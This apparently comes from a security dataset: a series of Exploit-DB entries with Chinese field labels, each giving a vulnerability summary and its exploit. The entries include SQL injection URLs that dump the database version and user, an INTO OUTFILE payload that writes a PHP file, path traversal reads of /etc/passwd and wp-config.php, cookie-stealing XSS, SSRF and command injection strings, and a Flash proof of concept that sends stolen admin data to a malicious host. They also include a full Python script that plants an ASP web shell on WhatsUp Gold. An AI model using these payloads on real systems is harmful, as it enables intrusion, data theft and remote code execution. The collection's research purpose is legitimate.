QLWD/code_shield huggingface dataset:
标题: WordPress Plugin HDW Player - '/wp-admin/admin.php' SQL Injection EDB-ID: 39280 CVE: 2014-5180 类型: WEBAPPS 平台: PHP 发布日期: 2014-05-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/69105/info

The WordPress HDW Player plugin (Video Player & Video Gallery) is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

HDW Player 2.4.2 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-admin/admin.php?page=videos&opt=edit&id=2 union select 1,2,user(),4,5,6,database(),8,@@version,10,11,12 URL: https://www.exploit-db.com/exploits/39280
标题: Ubiquiti Networks UniFi Video Default - 'crossdomain.xml' Security Bypass EDB-ID: 39268 CVE: 2014-2227 类型: WEBAPPS 平台: PHP 发布日期: 2014-07-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/68866/info

UniFi Video is prone to a security-bypass vulnerability.

An authenticated attacker can exploit this issue to bypass certain security restrictions and perform unauthorized actions. This may lead to further attacks.

UniFi Video 2.1.3 is vulnerable; other versions may also be affected. 

// Customized AirVision POC Author: Seth Art (sethsec at gmail.com)
// POC Template Author: Gursev Singh Kalra (gursev.kalra at foundstone.com)
// POC Template Author's github: (https://github.com/gursev/flash-xdomain-xploit)
package {
 import flash.display.Sprite;
 import flash.events.*;
 import flash.net.URLRequestMethod;
 import flash.net.URLRequest;
 import flash.net.URLLoader;
 import flash.net.URLRequestHeader;

 public class XDomainXploit3 extends Sprite {
  public function XDomainXploit3() {
   // Target URL from where the data is to be retrieved
   var readFrom:String = "https//www.example.com:7443/api/2.0/admin";
   var header:URLRequestHeader = new URLRequestHeader("Content-Type",
"text/plain; charset=UTF-8");
   var readRequest:URLRequest = new URLRequest(readFrom);
   readRequest.method = URLRequestMethod.POST
   readRequest.data =
"{\"name\":\"csrf-cdp\",\"email\":\"csrf-cdp@gmail.com\",\"userGroup\":\"admin\",\"x_password\":\"password\",\"confirmPassword\":\"password\",\"disabled\":false}";
   readRequest.requestHeaders.push(header);
   var getLoader:URLLoader = new URLLoader();
   getLoader.addEventListener(Event.COMPLETE, eventHandler);
   try {
    getLoader.load(readRequest);
   } catch (error:Error) {
    trace("Error loading URL: " + error);
   }
  }


  private function eventHandler(event:Event):void {
   // URL to which retrieved data is to be sent
   var sendTo:String = "http://www.malicious-site.com/crossdomain/store.php"
   var sendRequest:URLRequest = new URLRequest(sendTo);
   sendRequest.method = URLRequestMethod.POST;
   sendRequest.data = event.target.data;
   var sendLoader:URLLoader = new URLLoader();
   try {
    sendLoader.load(sendRequest);
   } catch (error:Error) {
    trace("Error loading URL: " + error);
   }
  }
 }
} URL: https://www.exploit-db.com/exploits/39268
标题: Ilya Birman E2 - '/@actions/comment-process' SQL Injection EDB-ID: 39267 CVE: 2014-4736 类型: WEBAPPS 平台: PHP 发布日期: 2014-07-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/68843/info

Ilya Birman E2 is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

E2 v2844 is vulnerable; other versions may also be affected. 

<form action="http://www.example.com/@actions/comment-process" method="post" name="main">
<input type="hidden" name="already-subscribed" value="">
<input type="hidden" name="comment-id" value="new">
<input type="hidden" name="elton-john" value="1">
<input type="hidden" name="email" value="mail@mail.com">
<input type="hidden" name="from" value="">
<input type="hidden" name="name" value="name">
<input type="hidden" name="subscribe" value="on">
<input type="hidden" name="text" value="1">
<input type="hidden" name="note-id" value="' UNION SELECT '<? phpinfo(); ?>',2,3,4,5,1,7,8,9,10,11,12,13,14,15 INTO OUTFILE '/var/www/file.php' -- 2">
<input type="submit" id="btn">
</form> URL: https://www.exploit-db.com/exploits/39267
标题: WordPress Plugin WP Rss Poster - '/wp-admin/admin.php' SQL Injection EDB-ID: 39252 CVE: 2014-4938 类型: WEBAPPS 平台: PHP 发布日期: 2014-05-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/68557/info

WP Rss Poster plugin for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

WP Rss Poster 1.0.0 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-admin/admin.php?page=wrp-add-new&id=2 union select 1,user(),database(),4,5,6,7,8,9,10,11,12,13,14,15,@@version,17,18 URL: https://www.exploit-db.com/exploits/39252
标题: Alfresco - '/cmisbrowser?url' Server-Side Request Forgery EDB-ID: 39259 CVE: 2014-9302 类型: REMOTE 平台: MULTIPLE 发布日期: 2014-07-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/68/info

http://www.example.com/alfresco/proxy?endpoint=http://internal_system:port 663/info
 
Alfresco Community Edition is prone to multiple security vulnerabilities.
 
An attacker may leverage these issues to gain sensitive information or bypass certain security restrictions.
 
Alfresco Community Edition 4.2.f and earlier are vulnerable. 

http://www.example.com/alfresco/cmisbrowser?url=http://internal_system:port URL: https://www.exploit-db.com/exploits/39259
标题: WordPress Plugin BookX 1.7 - 'bookx_export.php' Local File Inclusion EDB-ID: 39251 CVE: 2014-4937 类型: WEBAPPS 平台: PHP 发布日期: 2014-05-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/68556/info

BookX plugin for WordPress is prone to a local file-include vulnerability because it fails to adequately validate user-supplied input.

An attacker can exploit this vulnerability to obtain potentially sensitive information; other attacks are also possible.

BookX plugin 1.7 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-content/plugins/bookx/includes/bookx_export.php?file=../../../../../../../../etc/passwd

http://www.example.com/wp-content/plugins/bookx/includes/bookx_export.php?file=../../../../wp-config.php URL: https://www.exploit-db.com/exploits/39251
标题: WordPress Plugin Tera Charts (tera-charts) - '/charts/zoomabletreemap.php?fn' Directory Traversal EDB-ID: 39257 CVE: 2014-4940 类型: WEBAPPS 平台: PHP 发布日期: 2014-05-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/68662/info
 
Tera Charts plugin for WordPress is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.
 
An attacker can exploit these issues to obtain potentially sensitive information; other attacks are also possible.
 
Tera Charts 0.1 is vulnerable; other versions may also be affected. 

http://www.example.com/wp_test/wp-content/plugins/tera-charts/charts/zoomabletreemap.php?fn=../../../../../etc/passwd URL: https://www.exploit-db.com/exploits/39257
标题: Alfresco - '/proxy?endpoint' Server-Side Request Forgery EDB-ID: 39258 CVE: 2014-9301 类型: REMOTE 平台: MULTIPLE 发布日期: 2014-07-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/68/info

http://www.example.com/alfresco/proxy?endpoint=http://internal_system:port 663/info

Alfresco Community Edition is prone to multiple security vulnerabilities.

An attacker may leverage these issues to gain sensitive information or bypass certain security restrictions.

Alfresco Community Edition 4.2.f and earlier are vulnerable. 

http://www.example.com/alfresco/proxy?endpoint=http://internal_system:port URL: https://www.exploit-db.com/exploits/39258
标题: WordPress Plugin DZS-VideoGallery - Cross-Site Scripting / Command Injection EDB-ID: 39250 CVE: 2014-9094 类型: WEBAPPS 平台: PHP 发布日期: 2014-07-13 漏洞利用脚本: source: https://www.securityfocus.com/bid/68525/info

WordPress DZS-VideoGallery plugin is prone to multiple cross site scripting vulnerabilities and a command-injection vulnerability.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site and to execute arbitrary OS commands. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

DZS-VideoGallery 7.85 is vulnerable; prior versions are also affected. 

Cross-site-scripting:

http://www.example.com/wp-content/plugins/dzs-videogallery/deploy/designer/preview.php?swfloc=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

http://www.example.com/wp-content/plugins/dzs-videogallery/deploy/designer/preview.php?designrand=%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E

Command-Injection:

http://www.example.com/wp-content/plugins/dzs-videogallery/img.php?webshot=1&src=http://www.example.com/1.jpg$(os-cmd) URL: https://www.exploit-db.com/exploits/39250
标题: WordPress Plugin ENL NewsLetter - '/wp-admin/admin.php' SQL Injection EDB-ID: 39253 CVE: 2014-4939 类型: WEBAPPS 平台: PHP 发布日期: 2014-05-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/68558/info

ENL Newsletter plugin for WordPress is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

ENL Newsletter 1.0.1 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-admin/admin.php?page=enl-add-new&id=2 union select 1,@@version,3,user(),database(),6,7,8,9,0,1 URL: https://www.exploit-db.com/exploits/39253
标题: WordPress Plugin Tera Charts (tera-charts) - '/charts/treemap.php?fn' Directory Traversal EDB-ID: 39256 CVE: 2014-4940 类型: WEBAPPS 平台: PHP 发布日期: 2014-05-28 漏洞利用脚本: source: https://www.securityfocus.com/bid/68662/info

Tera Charts plugin for WordPress is prone to multiple local file-include vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker can exploit these issues to obtain potentially sensitive information; other attacks are also possible.

Tera Charts 0.1 is vulnerable; other versions may also be affected. 

http://www.example.com/wordpress_vuln_check/wp-content/plugins/tera-charts/charts/treemap.php?fn=../../../../../etc/passwd
http://www.example.com/wordpress_vuln_check/wp-content/plugins/tera-charts/charts/treemap.php?fn=../../../../../etc/passwd URL: https://www.exploit-db.com/exploits/39256
标题: xClassified - 'ads.php' SQL Injection EDB-ID: 39239 CVE: 2014-4741 类型: WEBAPPS 平台: PHP 发布日期: 2014-07-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/68438/info

xClassified is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

xClassified 1.2 is vulnerable; other versions may also be affected. 

http://www.example.com/ads.php?catid=4%27a[SQLi] URL: https://www.exploit-db.com/exploits/39239
标题: WordPress Plugin BSK PDF Manager - '/wp-admin/admin.php' Multiple SQL Injections EDB-ID: 39240 CVE: 2014-4944 类型: WEBAPPS 平台: PHP 发布日期: 2014-07-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/68488/info

BSK PDF Manager plugin for WordPress is prone to multiple SQL-injection vulnerabilities because it fails to properly sanitize user-supplied input.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

BSK PDF Manager 1.3.2 is vulnerable; other versions may also be affected. 

http://www.example.com/wp-admin/admin.php?page=bsk-pdf-manager-pdfs&view=edit&pdfid=1 and 1=2

http://www.example.com/wp-admin/admin.php?page=bsk-pdf-manager&view=edit&categoryid=1 and 1=2 URL: https://www.exploit-db.com/exploits/39240
标题: AtomCMS - SQL Injection / Arbitrary File Upload EDB-ID: 39238 CVE: 2014-4852 类型: WEBAPPS 平台: PHP 发布日期: 2014-07-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/68437/info

AtomCMS is prone to an SQL-injection vulnerability and an arbitrary file-upload vulnerability.

Exploiting these issues could allow an attacker to upload arbitrary files, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/acms/admin/uploads.php?id=1 URL: https://www.exploit-db.com/exploits/39238
标题: Microsoft Windows - devenum.dll!DeviceMoniker::Load() Heap Corruption Buffer Underflow (MS16-007) EDB-ID: 39232 CVE: 2016-0015 类型: DOS 平台: WINDOWS 发布日期: 2016-01-13 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=594

Heap corruption buffer underflow in devenum.dll!DeviceMoniker::Load()

There exists a buffer underflow vulnerability in devenum.dll!DeviceMoniker::Load when attempting to null terminate a user supplied string. The function as it exists on Windows 7 x86 is implemented as follows:

signed int __stdcall CDeviceMoniker::Load(CDeviceMoniker *this, struct IStream *a2)
{
  struct IStream *v2; // esi@1
  signed int v3; // edi@1
  const unsigned __int16 *v4; // ebx@2
  char v6; // [sp+8h] [bp-4h]@1

  v2 = a2;
  v3 = a2->lpVtbl->Read(a2, &a2, 4, (ULONG *)&v6); // read a 4 byte user controlled length
  if ( v3 >= 0 )
  {
    v4 = (const unsigned __int16 *)operator new[]((unsigned int)a2); // allocate length
    if ( v4 )
    {
      v3 = v2->lpVtbl->Read(v2, (void *)v4, (ULONG)a2, (ULONG *)&v6); // read data into new buffer
      if ( v3 >= 0 )
      {
        v4[((unsigned int)a2 >> 1) - 1] = 0; // BAD BAD BAD 
        v3 = CDeviceMoniker::Init(this, v4);
      }
      operator delete[]((void *)v4);
    }
    else
    {
      v3 = -2147024882;
    }
  }
  return v3;
}

The issue comes in when we specify a length of 1 with the first read. A buffer of length 1 will be allocated and 1 byte will be read into it. But, when the code goes to NULL terminate this buffer it divides the length by 2 and subtracts 2 (v4 is a wchar_t) leading to "\x00\x00" being written 2 bytes before the allocated buffer.

This object "device.1" or {4315D437-5B8C-11D0-BD3B-00A0C911CE86} is reachable from any bit of software that performs an IPersistStream::Load on an arbritrary object. This vulnerable object is also reachable from any bit of software performing an OleLoad(IID_IOleObject) call with an with an attacker controlled CLSID -- as is the case in Office.

In the attached Word Document PoC the OLE object StdObjLink or {00000300-0000-0000-c000-000000000046} is embedded with data pointing to the device.1 object. The StdObjLink supports IOleObject and IPersistStorage interfaces. When a user single clicks the object in the document an OleLoad call will load the StdObjLink object and call its IPersistStorage::Load (ole32!CDefLink::Load()) method. StdObjLink will then read the device.1 CLSID from the \x01Ole stream and call OleLoadFromStream with an interface ID of IMoniker. This call will then result in device.1 being loaded and the IPersistStream::Load() (devenum!DeviceMoniker::Load()) method being called.

The DeviceMoniker::Load() method should limit the user supplied size to sane values that are 2 byte aligned.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39232.zip URL: https://www.exploit-db.com/exploits/39232
标题: Adobe Flash BlurFilter Processing - Out-of-Bounds Memset EDB-ID: 39219 CVE: 2015-8636 类型: DOS 平台: MULTIPLE 发布日期: 2016-01-11 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=627

The attached swf file causes an out-of-bounds memset in BlurFilter processing. Note that Chrome aborts when processing the swf


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39219.zip URL: https://www.exploit-db.com/exploits/39219
标题: Adobe Flash (Multiple Scripts) - Use-After-Free When Rendering Displays (1) EDB-ID: 39220 CVE: 2015-8635 类型: DOS 平台: WINDOWS 发布日期: 2016-01-11 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=628

There is a use-after-free that appears to be related to rendering the display based on multiple scripts. A PoC is attached, tested on Windows only. Note the PoC is somewhat unreliable on some browsers, sometimes it needs to render a minute or two in the foreground before crashing. This is related to unreliability in the freed object being reallocated as a value that causes the crash, not unreliability in the underlying bug (it crashes immediately in a debug build of Flash). With enough effort, an attacker could likely trigger the issue immediately.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39220.zip URL: https://www.exploit-db.com/exploits/39220
标题: Grassroots DICOM (GDCM) 2.6.0 and 2.6.1 - ImageRegionReader::ReadIntoBuffer Buffer Overflow EDB-ID: 39229 CVE: 2015-8396 类型: DOS 平台: LINUX 发布日期: 2016-01-12 漏洞利用脚本: /*
Grassroots DICOM (GDCM) is a C++ library for processing DICOM medical
images.
It provides routines to view and manipulate a wide range of image formats
and can be accessed through many popular programming languages like Python,
C#, Java and PHP.

GDCM versions 2.6.0 and 2.6.1 (and possibly previous versions) are prone
to an
integer overflow vulnerability which leads to a buffer overflow and
potentially to remote code execution. The vulnerability is triggered by the
exposed function gdcm::ImageRegionReader::ReadIntoBuffer, which copies
DICOM
image data to a buffer. ReadIntoBuffer checks whether the supplied
buffer is
large enough to hold the necessary data, however in this check it fails to
detect the occurrence of an integer overflow, which leads to a buffer
overflow
later on in the code. The buffer overflow will occur regardless of the
size of
the buffer supplied to the ReadIntoBuffer call.

More information about this vulnerability can be found at
http://census-labs.com/news/2016/01/11/gdcm-buffer-overflow-imageregionreaderreadintobuffer/

The GDCM project has released version 2.6.2 that addresses this issue.
It is advised to upgrade all GDCM installations to the latest stable
release.

Disclosure Timeline
-------------------
CVE assignment:    December 2nd, 2015
Vendor Contact:    December 4th, 2015
Vendor Patch Release: December 23rd, 2015
Public Advisory: January 11th, 2016
*/

#include "gdcmReader.h"
#include "gdcmImageReader.h"
#include "gdcmImageRegionReader.h"
#include "gdcmBoxRegion.h"
#include "gdcmImageHelper.h"

#include <iostream>

using namespace std;

/*
 * A simple demonstration of CVE-2015-8396
 * by Stelios Tsampas (stelios at census-labs.com)
 * based on http://gdcm.sourceforge.net/html/ExtractImageRegion_8cs-example.html
 *
 * Compiles with:
 * $ g++ -I/usr/include/gdcm-2.6 -o CVE-2015-8396-trigger CVE-2015-8396-trigger.cpp -lgdcmCommon -lgdcmMSFF -lgdcmDSED
 *
 * Try it on http://census-labs.com/media/CVE-2015-8396.dcm.bz2
 *                https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39229.zip
 * $ bzip2 -d CVE-2015-8396.dcm.bz2
 * $ ./CVE-2015-8396-trigger CVE-2015-8396.dcm
 */

int main(int argc, char *argv [])
{
 char buffer[2048 * 2047];
 gdcm::ImageRegionReader reader;
 gdcm::BoxRegion box;

 if (argc < 2) {
  cout << "Usage: example <input-file>\n";
  return 1;
 }

 const char *filename = argv[1];
 reader.SetFileName(filename);
 
 if (!reader.ReadInformation()) {
  cout << "No info from file\n";
  return 1;
 }

 std::vector<unsigned int> dims = gdcm::ImageHelper::GetDimensionsValue(reader.GetFile());
 cout << "x: " << dims[0] << ", y: " << dims[1] << ", z: " << dims[2] << "\n";

 box.SetDomain(0, dims[0] - 1, 0, dims[1] - 1, 0, dims[2] - 1);
 reader.SetRegion(box);
 reader.ReadIntoBuffer(buffer, sizeof(buffer));
 
 return 0;
} URL: https://www.exploit-db.com/exploits/39229
标题: WhatsUp Gold 16.3 - Remote Code Execution EDB-ID: 39231 CVE: 2015-8261 类型: WEBAPPS 平台: ASP 发布日期: 2016-01-13 漏洞利用脚本: #
# Exploit Title: WhatsUp Gold v16.3 Unauthenticated Remote Code Execution
# Date: 2016-01-13
# Exploit Author: Matt Buzanowski
# Vendor Homepage: http://www.ipswitch.com/
# Version: 16.3.x
# Tested on: Windows 7 x86
# CVE : CVE-2015-8261
# Usage: python DroneDeleteOldMeasurements.py <target ip>

import requests
import sys

ip_addr = sys.argv[1]

shell = '''<![CDATA[<% response.write CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.Readall() %>]]>'''

sqli_str = '''stuff'; END TRANSACTION; ATTACH DATABASE 'C:\\Program Files (x86)\\Ipswitch\\WhatsUp\\HTML\\NmConsole\\shell.asp' AS lol; CREATE TABLE lol.pwn (dataz text); INSERT INTO lol.pwn (dataz) VALUES ('%s');--''' % shell

session = requests.Session()

headers = {"SOAPAction":"\"http://iDrone.alertfox.com/DroneDeleteOldMeasurements\"","User-Agent":"Mozilla/4.0 (compatible; MSIE 6.0; MS Web Services Client Protocol 2.0.50727.4927)","Expect":"100-continue","Content-Type":"text/xml; charset=utf-8","Connection":"Keep-Alive"}

body = """<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  <soap:Body>
    <DroneDeleteOldMeasurements xmlns="http://iDrone.alertfox.com/">
      <serializedDeleteOldMeasurementsRequest><?xml version="1.0" encoding="utf-16"?>
        <DeleteOldMeasurementsRequest xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
        <authorizationString>0123456789</authorizationString>
        <maxAgeInMinutes>1</maxAgeInMinutes>
        <iDroneName>%s</iDroneName>
        </DeleteOldMeasurementsRequest></serializedDeleteOldMeasurementsRequest>
    </DroneDeleteOldMeasurements>
  </soap:Body>
</soap:Envelope>""" % sqli_str

response = session.post("http://%s/iDrone/iDroneComAPI.asmx" % ip_addr,data=body,headers=headers)
print "Status code:", response.status_code
print "Response body:", response.content

print "\n\nSUCCESS!!! Browse to http://%s/NmConsole/shell.asp?cmd=whoami for unauthenticated RCE.\n\n" % ip_addr URL: https://www.exploit-db.com/exploits/39231
标题: ZeusCart - 'prodid' SQL Injection EDB-ID: 39223 CVE: 2014-3868 类型: WEBAPPS 平台: PHP 发布日期: 2014-06-24 漏洞利用脚本: source: https://www.securityfocus.com/bid/68182/info

ZeusCart is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

ZeusCart 4.0 is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?do=addtocart&prodid=${PROD_ID} and sleep(1) URL: https://www.exploit-db.com/exploits/39223
标题: Foreman Smart-Proxy - Remote Command Injection EDB-ID: 39222 CVE: 2014-0007 类型: REMOTE 平台: MULTIPLE 发布日期: 2014-06-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/68117/info

Foreman is prone to a remote command-injection vulnerability.

Successful exploits will result in the execution of arbitrary commands with the privileges of the user running foreman-proxy. 

curl -3 -H "Accept:application/json" -k -X POST -d "dummy=exploit" 'https://www.example.com:8443/tftp/fetch_boot_file?prefix=a&path=%3Btouch%20%2Ftmp%2Fbusted%3B' URL: https://www.exploit-db.com/exploits/39222
标题: Adobe Flash - Use-After-Free When Setting Stage EDB-ID: 39221 CVE: 2015-8634 类型: DOS 平台: WINDOWS_X86-64 发布日期: 2016-01-11 漏洞利用脚本: Source: https://code.google.com/p/google-security-research/issues/detail?id=629

The attached file causes a use-after-free when calling the stage setter. The PoC works most consistently in Firefox for 64-bit Windows.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39221.zip URL: https://www.exploit-db.com/exploits/39221